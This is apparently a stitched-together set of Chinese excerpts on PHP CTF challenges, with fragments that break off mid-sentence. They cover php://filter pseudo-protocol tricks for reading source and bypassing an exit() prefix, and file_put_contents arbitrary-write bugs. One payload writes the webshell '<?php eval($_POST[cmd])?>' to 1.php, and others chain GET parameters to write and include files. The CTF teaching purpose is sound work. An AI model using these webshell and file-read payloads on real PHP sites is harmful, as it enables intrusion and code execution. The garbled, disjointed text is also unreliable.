前言 一个CTF比赛中差不多用烂的一个考点,考察选手对php伪协议的灵活运用 前置知识 0x1 Base64解码只解码字符表中的字符,对不在字符表中的字符会直接忽略(相当于置换为空),这里举个例子 F12的base64编码是 RjEy,我们插入一些不在字符表中的字符,仍然可以解码出正确结果
变量=php://filter/read=convert.base64-encode/resource=文件名 使用的convert.base64-encode,是一种过滤器。 协议参数 利用filter伪协议绕过死亡exit# 何为死亡exit? 举个例子: Copy file_put_contents($content, '<?phpexit();' . $content); // 或者这样 file_put_contents($content, '<?phpexit();...
file_put_contents() 在实例中可以发现,file_get_contents()的$filename参数不仅仅为文件路径,还可以是一个URL(伪协议)。 该协议语法为:php://filter:/<action>=<name> 我们可以通过构造含有漏洞的语句,查看想要看的代码: file=php://filter/convert.base64-encode/resource=index.php 。 #3: 对php协议进行...
$allow = array(); array_push($allow, 1); if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } payload: n=1.php content=<?php eval($_POST[cmd])?> strcmp strcmp(string $string1, string $string2): int 如果...
考点二:file_put_contents()函数的作用是将一个字符串写入文件。如果写入的字符串和文件名可控则可能导致任意文件上传漏洞。例题:$allow = array(); #创建空数组for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); #在1-$i之间随机生成一个整数,添加到数组$allow尾部...
index.php?1=file_put_contents¶m=$_GET[1](N,P,8) index.php?1=file_put_contents¶m=$_GET[1](N,D,8) ... index.php?1=php://filter/read=convert.base64-encode/resource=N&parmas=include$_GET[1] 8是file_get_contents,的flag位FILE_APPEND,既写入文件存在就附加的 flag定义的值,...
<?php if(isset($_GET) && !empty($_GET)){ $url = $_GET['file']; $path = 'upload/'.$_GET['path']; }else{ show_source(__FILE__); exit(); } if(strpos($path,'..') > -1){ die('SYCwaf!'); } if(strpos($url,'http://127.0.0.1/') === 0){ file_put_contents($...
"); } } $filename=rand_string(0x20).'.php'; $folder='uploads/'; $full_filename = $folder.$filename; if(file_put_contents($full_filename, '<?php '.$data)){ echo "WebShell"; echo "Enjoy your webshell~"; }else{ echo "Some thing wrong..."; } ?> iniset PHPini_set用来...
1、fopen/file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。
");}}privatefunctionwrite(){if(isset($this->filename)&&isset($this->content)){if(strlen((string)$this->content)>100){$this->output("Too long!");die();}$res=file_put_contents($this->filename,$this->content);if($res)$this->output("Successful!");else$this->output("Failed!");...